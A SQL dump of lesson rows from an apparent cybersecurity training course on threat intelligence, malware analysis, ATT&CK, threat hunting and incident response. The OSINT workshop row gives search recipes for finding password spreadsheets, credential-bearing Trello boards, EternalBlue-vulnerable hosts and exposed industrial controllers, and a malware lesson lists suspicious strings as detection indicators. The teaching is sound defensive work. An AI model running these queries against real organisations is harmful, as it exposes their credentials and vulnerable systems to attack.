(985, 772, '## OSINT Tools Workshop\n\nLet\'s get hands-on with the essential toolkit.\n\n### 1. Google Dorking\nUsing advanced search operators to uncover hidden data.\n*   `site:`: Limit results to a domain.\n*   `filetype:`: Look for specific files (pdf, docx, xlsx).\n*   `inurl:`: Look for text in the URL.\n*   `intitle:`: Look for text in the page title.\n\n**recipes**:\n*   *Find Sensitive Files*: `site:target.com filetype:xlsx \"password\"`\n*   *Find Login Portals*: `site:target.com inurl:login`\n*   *Find Open Directories*: `intitle:\"index of /\" \"parent directory\"`\n*   *Public Trello Boards*: `site:trello.com \"password\" OR \"credentials\"`\n\n### 2. Shodan.io\n\"Google for the Internet of Things\". It scans the entire internet (IPv4) 24/7.\n*   **Webcam**: `Server: SQ-WEBCAM`\n*   **Industrial Control Systems**: `port:502` (Modbus)\n*   **RDP (Remote Desktop)**: `port:3389`\n*   **Vulnerability**: `vuln:CVE-2017-0144` (Finds EternalBlue vulnerable hosts).\n*   **Filter**: `org:\"Target Corp\" port:443`\n\n### 3. Maltego\nA link analysis tool used to visualize relationships.\n*   **Input**: A domain (e.g., `google.com`).\n*   **Transform**: A script that runs on the input (e.g., \"To MX Record\").\n*   **Output**: The mail server node.\n*   **Use Case**: Mapping an entire criminal infrastructure from a single email address.\n\n### 4. The Wayback Machine (Archive.org)\nThe internet never forgets.\n*   **Defacement**: See if a site was hacked in the past.\n*   **Job Posts**: Find old job descriptions listing specific software versions that are now vulnerable.\n*   **Deleted Code**: Developers often post secrets (API Keys) to Pastebin or Github and then delete them. Archive sites might catch them.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:43:25'),
(986, 773, '## Module 2 Assessment\nPass this quiz to complete the module.', 'markdown', NULL, '2025-12-29 13:30:45', '2025-12-29 13:30:45'),
(987, 774, '## Introduction to Malware Analysis\n\nMalware Analysis is the study of malicious software. Our goal is to understand:\n1.  **Capability**: What can this malware do? (Steal passwords? Encrypt files?).\n2.  **Indicators**: How can we detect it? (Files created, network traffic).\n3.  **Attribution**: Who wrote it? (Rarely successful, but possible).\n\n---\n\n### Static Analysis (Safe & Fast)\nAnalyzing the file **without executing it**. It is like looking at a bomb through an X-ray machine.\n*   **Pros**: Safe. Fast. Can analyze \"dead\" malware (C2 is offline).\n*   **Cons**: Modern malware is \"packed\" (obfuscated) and hides its secrets until runtime.\n*   **Techniques**:\n    *   File Hashing (Fingerprinting).\n    *   Strings Analysis (Finding text).\n    *   PE Header Analysis (Import Table - what DLLs does it need?).\n\n### Dynamic Analysis (Risky & Detailed)\n**Running** the malware in a controlled environment (Sandbox) to watch it explode.\n*   **Pros**: Shows true behavior. Unpacks itself automatically.\n*   **Cons**: Risk of infection/escape. Some malware detects the sandbox and \"plays dead\" (Anti-VM techniques).\n*   **Techniques**:\n    *   Process Monitoring (ProcMon).\n    *   Network Sniffing (Wireshark/Fiddler).\n    *   Registry Watchers.\n\n### The Golden Rule\n**NEVER** analyze malware on your host machine.\n**ALWAYS** use an isolated Virtual Machine (VM) with no shared folders and (preferably) a routed network interface that simulates the internet (like INetSim).', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:43:25'),
(988, 775, '## Key Indicators: Strings & Hashes\n\nThis is \"Basic Static Analysis\". It takes 5 minutes and solves 50% of cases.\n\n### 1. File Hashing\nA hash is a one-way mathematical fingerprint changes. If you change 1 bit of the file, the hash changes completely.\n*   **MD5**: 32 chars. Fast. Broken (Collisions possible). OK for database lookups.\n*   **SHA-256**: 64 chars. Standard. Unique.\n*   **Workflow**:\n    1.  Get Sample.\n    2.  `sha256sum malware.exe`.\n    3.  Paste hash into **VirusTotal.com**.\n    4.  If 50/70 vendors say \"Malicious\", you are done.\n\n### 2. Strings Analysis\nProgrammers leave text in code: URLs, IP addresses, Error Messages, Passwords.\nThe `strings` command extracts all ASCII and Unicode readable text.\n*   **Suspicious Strings**:\n    *   `CreateRemoteThread` (Used for Injection).\n    *   `URLDownloadToFile` (Dropper behavior).\n    *   `192.168.x.x` (Internal IPs).\n    *   `cmd.exe /c` (Command execution).\n    *   `C:UsersTarget...` (PDB Paths showing the author\'s username!).\n\n### 3. Packing & Entropy\nMalware authors \"Pack\" their code (like a ZIP file) to hide these strings from antivirus.\n*   **Entropy**: Randomness.\n*   **Low Entropy**: Standard English text (lots of repeated patterns like \"the\").\n*   **High Entropy**: Encrypted or Compressed data (looks like random noise).\n*   **Detection**: If a file has Entropy > 7.0 (out of 8), it is likely Packed. You won\'t see any strings until you unpack it.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:43:25'),
(989, 776, '## Module 3 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(990, 777, '## Indicators: IOCs vs IOAs\n\nIn Cyber Threat Intelligence, an **Indicator** is a piece of information that suggests a potential compromise or attack. But not all indicators are created equal.\n\n### 1. Indicators of Compromise (IOC)\nEvidence that a breach has **already occurred**. These are static artifacts.\n*   **The \"Forensic\" Approach**.\n*   **Examples**:\n    *   **MD5 Hash**: `a1b2c3d4...` (A known malware file).\n    *   **IP Address**: `192.168.1.5` (A known C2 server).\n    *   **Domain**: `update-microsoft-support.com` (A phishing site).\n*   **Use Case**: You load these into your Firewall/EDR to **Block** bad things.\n*   **Weakness**: They are easy to change. An attacker can change a file hash in 1 second by adding a null byte.\n\n### 2. Indicators of Attack (IOA)\nEvidence of the **intent** or **behavior** of an attack in progress.\n*   **The \"Real-time\" Approach**.\n*   **Examples**:\n    *   **Lateral Movement**: A user logging into 50 servers in 1 minute.\n    *   **Credential Dumping**: Accessing the `lsass.exe` process memory.\n    *   **Persistence**: Creating a Scheduled Task named \"Updater\" that runs a script in `C:Temp`.\n*   **Use Case**: You write behavioral rules (SIEM/EDR) to detect the *technique*, not the specific file.\n*   **Strength**: Behaviors are hard to change. If an attacker wants to dump credentials, they *must* touch memory somehow.\n\n---\n\n### The Pyramid of Pain\nCreated by David Bianco, this concept illustrates how much pain you cause the adversary when you deny them each indicator type.\n\n1.  **Hash Values (Trivial)**: Attacker just recompiles. NO PAIN.\n2.  **IP Addresses (Easy)**: Attacker rents a new VPS. LOW PAIN.\n3.  **Domain Names (Simple)**: Attacker registers a new domain. LOW PAIN.\n4.  **Network / Host Artifacts (Annoying)**: e.g., \"User Agent String\". Attacker must recode their tool. MEDIUM PAIN.\n5.  **Tools (Challenging)**: e.g., \"Mimikatz\". If you detect the *tool*, they must write a new one. HIGH PAIN.\n6.  **TTPs (Tough!)**: Tactics, Techniques, and Procedures. If you detect *how* they behave (e.g., \"Pass the Hash\"), they have to relearn how to hack. **MAXIMUM PAIN**.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(991, 778, '## Traffic Light Protocol (TLP)\n\nIntelligence is useless if not shared, but dangerous if shared too widely. The **Traffic Light Protocol (TLP)** is the global standard for defining \"Who can see this?\"\n\nIt was updated to TLP 2.0 in 2022.\n\n---\n\n### TLP Levels\n\n#### 🔴 TLP:RED (For Your Eyes Only)\n*   **Definition**: Not for disclosure, restricted to participants only.\n*   **Scenario**: A partner sends you a list of compromised employees involved in an internal investigation.\n*   **Action**: You cannot share this with *anyone* outside the specific meeting/email thread. Not even your boss, unless they were named.\n\n#### 🟠 TLP:AMBER (Limited Disclosure)\n*   **Definition**: Limited disclosure, recipients can only spread this on a need-to-know basis within their organization and its clients.\n*   **Scenario**: A vendor tells you about a vulnerability in their software that is actively exploited but no patch exists yet.\n*   **Action**: You can tell your System Admins to block the port. You CANNOT write a blog post about it.\n*   **TLP:AMBER+STRICT**: New in 2.0. Means \"Organization Only\" (No clients).\n\n#### 🟢 TLP:GREEN (Community Wide)\n*   **Definition**: Limited disclosure, restricted to the community.\n*   **Scenario**: An industry ISAC (e.g., Financial-ISAC) shares a list of Phishing domains targeting banks.\n*   **Action**: You can share this with partner organizations and peers. You CANNOT publish it on public Twitter.\n\n#### ⚪ TLP:CLEAR (Public)\n*   **Definition**: Subject to standard copyright rules, otherwise unrestricted.\n*   **Scenario**: A published whitepaper on APT29.\n*   **Action**: Post it on LinkedIn, print it, shout it from the rooftops.\n\n---\n\n### Sharing Standards: STIX & TAXII\nHow do we share this data technically?\n\n1.  **STIX (Structured Threat Information Expression)**: The **Language**.\n    *   It is a JSON format.\n    *   It defines objects like `Attack Pattern`, `Identity`, `Malware`, `Indicator`.\n2.  **TAXII (Trusted Automated eXchange of Intelligence Information)**: The **Transport**.\n    *   It is the API (HTTPS) that carries the STIX packages.\n    *   Think of STIX as the package and TAXII as the delivery truck.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(992, 779, '## Module 4 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(993, 780, '## MITRE ATT&CK Framework\n\n**Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)**.\nIt is the periodic table of hacker behavior. It moves us away from \"My antivirus blocked a virus\" to \"The adversary used **T1059.001 (PowerShell)** to execute code.\"\n\n### The Hierarchy\n1.  **Tactics (The Goal - \"Why\")**: The column headers. There are 14 tactics.\n    *   *Examples*: Initial Access, execution, Persistence, Privilege Escalation, Command and Control.\n2.  **Techniques (The Method - \"How\")**: The cells in the column.\n    *   *Example*: Under \"Initial Access\", you have \"Phishing\" (T1566) and \"Exploit Public-Facing Application\" (T1190).\n3.  **Procedures (The Implementation - \"Specifics\")**: The exact command or tool used.\n    *   *Example*: \"APT33 sent a spearphishing email with a malicious HTA file.\"\n\n### Deep Dive: Technique T1059 (Command and Scripting Interpreter)\nThis is one of the most common techniques.\n*   **Sub-Techniques**:\n    *   `.001 PowerShell`: Windows native automation tool. Loved by hackers because it is installed everywhere.\n    *   `.004 Unix Shell`: Bash/Zsh on Linux/Mac.\n*   **Detection**: You cannot just \"Block PowerShell\". You must look for *malicious use* of PowerShell (e.g., Encoded Commands, Downloads).\n\n### Why use ATT&CK?\n1.  **Common Language**: Red Team says \"I validated T1059\". Blue Team says \"I detected T1059\". Executive says \"We are protected against Scripting attacks\".\n2.  **Gap Analysis**: You can map your defenses against the matrix. \"We have great coverage for Malware (Execution) but zero coverage for Exfiltration\".', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(994, 781, '## MITRE ATT&CK Navigator\n\nThe **Navigator** is an open-source web tool tailored for annotating and visualizing the ATT&CK Matrix. It allows you to create \"Layers\".\n\n### Use Case 1: Threat Profiling\nScenario: You work for a Bank. You are worried about the \"Carbanak\" group.\n1.  Open Navigator.\n2.  Select \"Carbanak\" from the Threat Actor list.\n3.  The tool highlights every technique Carbanak has used in red.\n**Result**: A visual map of your enemy\'s playbook.\n\n### Use Case 2: Defensive Coverage Map\n1.  Create a new Layer.\n2.  Ask your SIEM engineers: \"Can we detect PowerShell?\" (Yes -> Color Green). \"Can we detect Exfiltration over USB?\" (No -> Color Red).\n3.  Fill in the matrix based on your actual capabilities.\n**Result**: A \"You Are Here\" map of your security posture.\n\n### Use Case 3: Overlay (The Gap Analysis)\n1.  Take the **Threat Layer** (Red).\n2.  Take the **Defense Layer** (Green).\n3.  Combine them.\n4.  **The Panic Zone**: Any technique that is colored Red (Threat uses it) but NOT Green (Defense covers it).\n**Result**: This is your immediate roadmap. \"We need to build detections for T1059 because Carbanak uses it and we can\'t see it.\"', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(995, 782, '## Module 5 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(996, 783, '## Introduction to Threat Hunting\n\n**Threat Hunting** is the process of proactively and iteratively searching through networks to detect and isolate advanced threats that avoid existing security solutions.\n\n### The \"Assume Breach\" Paradigm\nTraditional security assumes \"We are safe until the alarm rings.\"\nHunting assumes **\"We are already compromised, we just haven\'t found it yet.\"**\n\n### Types of Hunts\n1.  **Hypothesis Driven**: The scientific method.\n    *   *Hypothesis*: \"Attackers are traversing our network using `PsExec`.\"\n    *   *Test*: Search logs for Event ID 7045 (Service Install) matching PsExec patterns.\n2.  **Intelligence Driven**: Based on a new report.\n    *   *Input*: \"CISA releases report on Volt Typhoon using living-off-the-land binaries.\"\n    *   *Hunt*: Search for the specific behaviors mentioned in the report.\n3.  **Analytics Driven**: Using Math/ML.\n    *   *Input*: \"Show me any user who logged into more than 10 machines in 1 hour.\" (Outlier detection).\n\n### The Hunting Maturity Model (HMM)\n*   **HMM0 (Initial)**: relies primarily on automated alerting. No hunting.\n*   **HMM1 (Minimal)**: Incorporates threat intelligence to drive search.\n*   **HMM2 (Procedural)**: Follows established procedures for hunting. Routine.\n*   **HMM3 (Innovative)**: Creates new hunting methods and automates them.\n*   **HMM4 (Leading)**: Automates the entire process.\n\n### Success Metrics\nHow do you measure a Hunt?\n*   It is **NOT** just \"Finding Bad Guys\". If you hunt for 4 hours and find nothing, that is a success! You proved the network is clean of that specific threat.\n*   **Goal**: Improve Visibility. If you tried to hunt for `PsExec` and couldn\'t because you didn\'t have the right logs, the \"Success\" is identifying that logging gap.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(997, 784, '## Hunting Techniques: Stacking & Clustering\n\nWhen you have 100 Million log events, you can\'t read them all. You need data science techniques to find the needle in the haystack.\n\n### 1. Stacking (Frequency Analysis)\nAlso known as \"Least Frequency Analysis\".\n**Concept**: In a large network, \"Normal\" behaves the same way. \"Evil\" stands out because it is rare.\n\n**Scenario**:\nYou export the \"User Agent\" string from all web traffic in your company.\n1.  **Mozilla/5.0... (Chrome)**: 50,000 counts. (Normal employees).\n2.  **Mozilla/5.0... (Edge)**: 30,000 counts. (Normal employees).\n3.  ...\n4.  **Updates.exe**: 500 counts. (Windows Update).\n5.  **Python-urllib/3.8**: 2 counts. (**Suspicious!**)\n6.  **Kali-Linux**: 1 count. (**Malicious!**).\n\nYou ignore the \"Short Stack\" (High frequency) and investigate the \"Long Tail\" (Low frequency).\n\n### 2. Clustering\nGrouping data points by shared characteristics to find patterns.\n*   **Example**: Grouping all \"svchost.exe\" processes.\n    *   We know `svchost.exe` should usually be spawned by `services.exe`.\n    *   If we cluster by \"Parent Process\", we might see:\n        *   Cluster A: Parent = `services.exe` (Count: 9000).\n        *   Cluster B: Parent = `explorer.exe` (Count: 1). **MALICIOUS**. Services do not run from explorer.\n\n### 3. Box Plotting (Outliers)\nVisualizing data to see who is outside the norm.\n*   \"Average Data Upload per User per Day\": 50MB.\n*   \"User Bob\": 50GB.\nBob is an outlier. He is either backing up his PC or exfiltrating data.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:45:36'),
(998, 785, '## Module 6 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(999, 786, '## Threat Intelligence Platform (TIP)\n\nA **TIP** is the heart of a CTI program. It is where you aggregate, analyze, and disseminate intelligence. Without a TIP, you are just managing Spreadsheets of Death.\n\n### Core Functions of a TIP\n\n#### 1. Maximum Aggregation\nYou have 50 sources of intel:\n*   Paid Feeds (CrowdStrike, Mandiant).\n*   Open Source Feeds (AlienVault OTX, Abuse.ch).\n*   ISAC Emails (Financial-ISAC).\n*   Twitter APIs.\nA TIP sucks all of these in automatically via API.\n\n#### 2. Normalization & Deduplication\nIf CrowdStrike reports `IP: 1.2.3.4` as \"Cobalt Strike\" and AlienVault reports `IP: 1.2.3.4` as \"Scanning\", you don\'t want two rows in your database.\nThe TIP merges these into one \"Object\" with two \"tags\".\n\n#### 3. Enrichment (Context)\nWhen an indicator arrives, the TIP asks questions automatically:\n*   **VirusTotal**: \"What is the detection ratio?\"\n*   **Whois**: \"When was this domain registered?\"\n*   **Passive DNS**: \"What domains resolved to this IP in the past?\"\nThis saves the analyst 20 minutes of manual searching per indicator.\n\n#### 4. Dissemination (Integration)\nThe most important part.\n*   **SIEM**: Push High Confidence IOCs to Splunk for detection.\n*   **Firewall**: Push High Confidence IPs to the Edge Firewall for blocking.\n*   **SOAR**: Trigger a playbook to scan endpoints for a file hash.\n\n---\n\n### The TIP Ecosystem\nThe TIP sits in the middle.\n*   **Input**: Feeds -> TIP\n*   **Output**: TIP -> SIEM / Firewall / EDR.\n\n> 💡 **Pro Tip**: Never push \"Raw Feed\" data directly to a Firewall. You block Google DNS by mistake once, and you lose your job. Always filter through a TIP first.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:47:47'),
(1000, 787, '## MISP (Malware Information Sharing Platform)\n\n**MISP** is the de-facto standard for sharing threat intelligence. It is free, open source, and used by NATO, Governments, and 6,000+ organizations.\n\n### The MISP Data Model\nUnderstanding MISP requires understanding its hierarchy:\n\n1.  **Event**: The \"Folder\".\n    *   *Example*: \"Emotet Phishing Campaign - Dec 2024\".\n    *   Contains metadata: Date, Org, TLP Level.\n2.  **Attribute**: The \"File\".\n    *   *Example*: `192.168.1.1` (ip-dst), `malware.exe` (filename).\n    *   **IDS Flag**: If checked, this attribute is exported to NIDS/SIEM.\n3.  **Object**: A template for complex data.\n    *   *Example*: A \"File\" object links `filename`, `md5`, `sha1`, and `size` together so context isn\'t lost.\n4.  **Galaxy (Tags)**: High level context.\n    *   *Threat Actor*: \"APT29\".\n    *   *Mitre technique*: \"T1566 - Phishing\".\n\n### The Sharing Graph\nMISP instances synchronize.\n*   **Pull**: You connect to `CIRCL.lu` (The main European node) and download 50,000 events.\n*   **Push**: You create an event about a new threat and \"Publish\" it. It replicates to all your partners instantly.\n*   **Filter**: You can say \"Pull everything EXCEPT events marked TLP:RED.\"\n\n### Why use MISP?\n*   **Cost**: Free.\n*   **Community**: It is where the community lives.\n*   **Formats**: Exports to STIX, CSV, Snort, Suricata, Bro/Zeek automatically.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:47:47'),
(1001, 788, '## Module 7 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(1002, 789, '## Writing Effective Intelligence Reports\n\nThe best analysis in the world is worthless if the report is confusing.\n\n### 1. The BLUF (Bottom Line Up Front)\nExecutives do not read mystery novels. They want the spoiler on page 1.\n*   **Structure**: State the **Key Judgment** and **Recommendation** in the first paragraph.\n*   *Example*:\n    > **Executive Summary**: We assess with High Confidence that the \"Finance-Payroll\" server is compromised by Ransomware. We recommend immediate network isolation of the entire Finance subnet to prevent spread.\n\n### 2. Words of Estimative Probability (WEP)\nNever use vague words like \"Maybe\", \"Possibly\", or \"Might\". They mean different things to different people.\nStandardize your language (based on Intelligence Community Directives - ICD 203):\n\n| Term | Probability | Meaning |\n|---|---|---|\n| **Almost Certain** | 90-99% | No doubt. Strong evidence. |\n| **Likely / Probable** | 60-90% | Logical, supported by evidence, but gaps exist. |\n| **Roughly Even Chance** | 40-60% | Could go either way. Ambiguous evidence. |\n| **Unlikely** | 10-40% | Evidence suggests this is not the case. |\n| **Remote** | < 10% | Highly improbable. |\n\n*   *Bad*: \"It might be Russia.\"\n*   *Good*: \"We assess with **Moderate Confidence** that the actor is Russian-aligned.\"\n\n### 3. Audience Analysis\nWrite for the reader, not for yourself.\n*   **Strategic Report (CISO/Board)**:\n    *   **Focus**: Impact, Cost, Risk, Trends.\n    *   **Language**: Business English. No \"Hash values\" or \"IPs\".\n    *   **Length**: 1 Page max.\n*   **Operational Report (SOC Manager)**:\n    *   **Focus**: TTPs, Attribution, Campaign timeline.\n    *   **Language**: Technical but explained.\n*   **Tactical Report (Analyst/Engineer)**:\n    *   **Focus**: IOCs, Signatures, Rules.\n    *   **Language**: Raw Data (JSON/CSV). \"Just give me the list.\"\n\n### 4. Analysis vs Facts\nClearly separate **what you know** (Facts) from **what you think** (Assessment).\n*   *Fact*: \"The malware communicates with 1.2.3.4.\"\n*   *Assessment*: \"1.2.3.4 is likely a C2 server.\"\nIf you mix them, you mislead the reader.', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:47:47'),
(1003, 790, '## Module 8 Assessment', 'markdown', NULL, '2025-12-29 13:38:32', '2025-12-29 13:38:32'),
(1004, 791, '# The Incident Response Lifecycle (PICERL)\n\nIn the world of cybersecurity, it\'s not a matter of *if* an organization will be attacked, but *when*. When the inevitable happens, having a structured, repeatable process is the difference between a minor hiccup and a catastrophic data breach. \n\nThe industry standard for this process is defined by NIST (National Institute of Standards and Technology) and SANS. We\'ll be focusing on the widely adopted 6-step SANS PICERL methodology.\n\n## 1. Preparation\nThis is the most critical phase, and ironically, the one that happens *before* an incident occurs. You cannot respond to a fire if you don\'t have fire extinguishers, evacuation plans, and trained personnel.\n\n**Key Activities:**\n*   **Policy & Plan Creation:** Having an official Incident Response Plan (IRP).\n*   **Asset Management:** Knowing what servers, endpoints, and data you are defending.\n*   **Tooling:** Deploying EDR (Endpoint Detection & Response), SIEM, and ensuring logs are actually being collected and retained.\n*   **Team Readiness:** Conducting tabletop exercises (IR drills) and ensuring the SOC team has the right access privileges.\n\n## 2. Identification\nAlso known as Detection. This phase answers the question: \"Are we currently compromised?\"\n\n**Key Activities:**\n*   **Monitoring Alerts:** Reviewing SIEM alerts, IDS/IPS triggers, and EDR warnings.\n*   **Triaging:** Filtering out false positives. If a user tries to log in over VPN 5 times and fails because they forgot their password, it\'s an event. If they succeed on the 100th try from an IP in a high-risk country, it\'s an incident.\n*   **Declaring an Incident:** Officially escalating the event to a security incident so the IR plan can be enacted.\n\n## 3. Containment\nThe bleeding must be stopped. The goal here is to limit the scope and magnitude of the incident. Containment is often split into two phases:\n\n*   **Short-term Containment:** Immediate actions to stop the spread. E.g., isolating an infected laptop from the network, disabling a compromised VPN account, or pulling a server offline.\n*   **Long-term Containment:** Temporary fixes to allow operations to continue while rebuilding the system. E.g., routing traffic through a newly built, clean proxy server.\n\n## 4. Eradication\nOnce the threat is contained, it must be completely removed from the environment.\n\n**Key Activities:**\n*   **Removing Malicious Artifacts:** Deleting malware, reversing unauthorized registry changes, and removing persistence mechanisms (like cron jobs or scheduled tasks created by the attacker).\n*   **Patching the Root Cause:** If the attacker got in via an unpatched Apache Struts vulnerability, that server must be patched right now, otherwise they will just come back.\n\n## 5. Recovery\nBringing systems back into full production mode cautiously and verifying they are no longer compromised.\n\n**Key Activities:**\n*   **Restoring from Backups:** Rebuilding servers from clean, offline backups.\n*   **Credential Resets:** Forcing enterprise-wide password resets if Active Directory was compromised.\n*   **Monitoring Heightened:** Leaving increased monitoring on the affected systems for several weeks to ensure the attacker doesn\'t return.\n\n## 6. Lessons Learned\nOften skipped, but vital. This phase happens 1-2 weeks after the incident is closed.\n\n**Key Activities:**\n*   **Writing the Post-Mortem Report:** Documenting exactly what happened, chronological timeline, and the root cause.\n*   **Process Improvement:** Asking \"What did we do well?\" and \"What went wrong?\". If containment took 4 hours because the SOC didn\'t have access to the firewall firewall console, the policy must be updated to give them access.\n\n---\n### Summary\nMemorize the acronym **PICERL**: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned. As a DFIR analyst, your job spans across all these phases, heavily focusing on Identification, Containment, and Eradication.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54');

